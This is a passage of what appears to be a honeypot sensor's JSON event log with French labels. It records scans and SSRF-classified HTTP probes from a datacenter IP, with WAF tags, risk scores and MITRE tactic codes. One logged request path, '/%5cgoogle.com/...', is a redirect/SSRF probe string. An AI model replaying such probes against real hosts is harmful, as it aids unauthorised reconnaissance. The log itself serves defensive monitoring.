\u0022b2822edd8e4adc725439395cb812fe1acb96bf9c\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8300, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8300\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac\u0022, \u0022attack_vector\u0022: \u0022ssrf internal \u00b7 via HTTP:8300 \u00b7 (tentative d\u0027exploit)\u0022, \u0022target_port_label\u0022: \u00228300 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 55\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 72 % \u2014 via HTTP \u2014 multi-protocole (3 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 72, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 80.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 55, \u0022correlation_boost\u0022: 18}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022attack_stage_label\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 55, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 8300, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022CRS-920350\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022CRS-920350\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022TA0001\u0022, \u0022mitre_technique\u0022: \u0022TA0001\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_coordonn\u00e9\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan coordonn\u00e9\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +18\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8300, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022ssrf internal \u00b7 via HTTP:8300 \u00b7 (tentative d\u0027exploit)\u0022, \u0022evidence_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8300\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac\u0022, \u0022target_port_label\u0022: \u00228300 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 72 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +18 \u00b7 3 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228300\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 3, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022http-alt-8005\u0022, \u0022http-alt-8085\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 6, \u0022behavior_alerts\u0022: [\u0022coordinated_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 18, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022, \u0022net_web_probe\u0022], \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"ip-62-3-50-33.v4.isp.servpersosystems.net:8300","http_user_agent":"Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","http_referer":null,"tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022, \u0022net_web_probe\u0022]","anomalies":"[]","severity":8,"bytes_in":216},{"id":14686636,"ip":"34.19.116.51","ts":"2026-07-31 15:38:47.000000","proto":"tcp","src_port":36864,"dst_port":8200,"service":"http","classification":"ssrf_internal","waf_score":19,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022]","http_method":"GET","http_target":"\/%5cgoogle.com\/4af206ebd4.html","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 3, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 2, \u0022http_path_ext\u0022: \u0022html\u0022, \u0022http_ua_hash\u0022: \u00229468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c\u0022, \u0022http_host_hash\u0022: \u0022c6008d4edabeb39bfcb7d799569622afcd6dbf62\u0022, \u0022http_target_hash\u0022: \u0022eef7221f84d0c9d32bcbdb1de8e88a4ee8ae2719\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 245, \u0022payload_entropy\u0022: 5.4494093193827915, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8200, \u0022risk_waf\u0022: 84.0, \u0022risk_classification\u0022: 80.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 33.0, \u0022risk_novelty\u0022: 15.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 4.0, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 84.0, \u0022classification\u0022: 80.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0}, \u0022risk_score\u0022: 58, \u0022tag_count\u0022: 4, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u00229052bb4d74b5924a2761adef40c34df0662d3fea\u0022, \u0022event_fingerprint\u0022: \u002285b23e7cc49b47b80b5fb5f8e6a0da30b009d0bc\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022, \u0022confidence\u0022: 0.72, \u0022classification_confidence\u0022: 0.72, \u0022precision_score\u0022: 64, \u0022precision_signals\u0022: [\u0022CRS-920350\u0022], \u0022kb_rule_ids\u0022: [\u0022CRS-920350\u0022], \u0022matched_patterns\u0022: [\u0022pat-0324\u0022], \u0022matched_pattern_names\u0022: [\u0022SSRF Any-address SSRF\u0022], \u0022pattern_ids\u0022: [\u0022pat-0324\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 84.0, \u0022classification\u0022: 80.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 58, \u0022correlation_boost\u0022: 18}, \u0022named_classification_skipped\u0022: false, \u0022classification_parent\u0022: \u0022ssrf_attack\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 54.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u00222994862c1f8176879ed381354c9dd245\u0022, \u0022payload_hash\u0022: \u0022db70eca3570b6c513d18ee4dcbf1d3d9\u0022, \u0022path_pattern_hash\u0022: \u00221ff0d8dcf831a076b212dbddfef2a545\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8200, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 58}, \u0022payload_preview\u0022: \u0022GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8200\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozi\u0022, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/%5cgoogle.com\/4af206ebd4.html\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8200\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8200\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozi\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/%5cgoogle.com\/4af206ebd4.html\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8200\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8200\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozi\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022mitre_tactics\u0022: [\u0022TA0001\u0022, \u0022TA0002\u0022], \u0022mitre\u0022: \u0022TA0001\u0022, \u0022threat_family\u0022: [\u0022unknown\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u0022b611088f504cb4885b4e9c13d7ac630f5fed48d3\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/%5cgoogle.com\/4af206ebd4.html\u0022, \u0022request_line\u0022: \u0022GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8200, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8200\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozi\u0022, \u0022attack_vector\u0022: \u0022ssrf internal \u00b7 via HTTP:8200 \u00b7 (tentative d\u0027exploit) \u00b7 \u2192 \/%5cgoogle.com\/4af206ebd4.html\u0022, \u0022target_port_label\u0022: \u00228200 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 58\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 72 % \u2014 via HTTP \u2014 multi-protocole (3 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 72, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 84.0, \u0022classification\u0022: 80.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 58, \u0022correlation_boost\u0022: 18}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022attack_stage_label\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 58, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 8200, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022CRS-920350\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022CRS-920350\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022TA0001\u0022, \u0022mitre_technique\u0022: \u0022TA0001\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_coordonn\u00e9\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan coordonn\u00e9\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +18\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/%5cgoogle.com\/4af206ebd4.html\u0022, \u0022request_line\u0022: \u0022GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8200, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022ssrf internal \u00b7 via HTTP:8200 \u00b7 (tentative d\u0027exploit) \u00b7 \u2192 \/%5cgoogle.com\/4af206ebd4.html\u0022, \u0022evidence_snippet\u0022: \u0022GET \/%5cgoogle.com\/4af206ebd4.html HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8200\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozi\u0022, \u0022target_port_label\u0022: \u00228200 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 72 % \u2014 Score WAF 84 \u00b7 Bonus corr\u00e9lation +18 \u00b7 3 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228200\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 3, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022http-alt-8005\u0022, \u0022http-alt-8085\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 5, \u0022behavior_alerts\u0022: [\u0022coordinated_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 18, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022net_web_probe\u0022], \u0022asn_dc_heuristic\u0022: true, \u0022behavior_alert_count\u0022: 2, \u0022behavior_priority\u0022: 84}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"ip-62-3-50-33.v4.isp.servpersosystems.net:8200","http_user_agent":"Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","http_referer":null,"tags":"[\u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022net_web_probe\u0022]","anomalies":"[]","severity":9,"bytes_in":245},{"id":14681586,"ip":"34.19.116.51","ts":"2026-07-31 15:36:09.000000","proto":"tcp","src_port":48774,"dst_port":8098,"service":"http","classification":"port_scan_syn","waf_score":16,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022]","http_method":"GET","http_target":"\/","sensor_id":"paris-1","meta":"{\u0022http_header_count\u0022: 3, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 0, \u0022http_path_ext\u0022: null, \u0022http_ua_hash\u0022: \u00229468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c\u0022, \u0022http_host_hash\u0022: \u002285c47ddeb33f86ad31706848f828b6c859fd8929\u0022, \u0022http_target_hash\u0022: \u002242099b4af021e53fd8fd4e056c2568d7c2e3ffa8\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 185, \u0022payload_entropy\u0022: 5.3666559632548365, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8098, \u0022risk_waf\u0022: 72.0, \u0022risk_classification\u0022: 64.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 25.0, \u0022risk_novelty\u0022: 15.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 2.2, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 25.0, \u0022novelty\u0022: 15.0}, \u0022risk_score\u0022: 53, \u0022tag_count\u0022: 3, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u0022f619c107fa0c70395daa9c6ab94ad49bb60c1bce\u0022, \u0022event_fingerprint\u0022: \u00226eb627d83d39abbafc7bf052c78fdedabc2bd43f\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 231, \u0022precision_signals\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022kb_rule_ids\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022matched_patterns\u0022: [\u0022pat-0324\u0022], \u0022matched_pattern_names\u0022: [\u0022SSRF Any-address SSRF\u0022], \u0022pattern_ids\u0022: [\u0022pat-0324\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 25.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 53, \u0022correlation_boost\u0022: 24}, \u0022named_classification_skipped\u0022: false, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 100.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u00222994862c1f8176879ed381354c9dd245\u0022, \u0022payload_hash\u0022: \u002206493cb184ff7bdebabcd050e62bafbb\u0022, \u0022path_pattern_hash\u0022: \u00228a5edab282632443219e051e4ade2d1d\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8098, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 53}, \u0022payload_preview\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8098\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.\u0022, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, 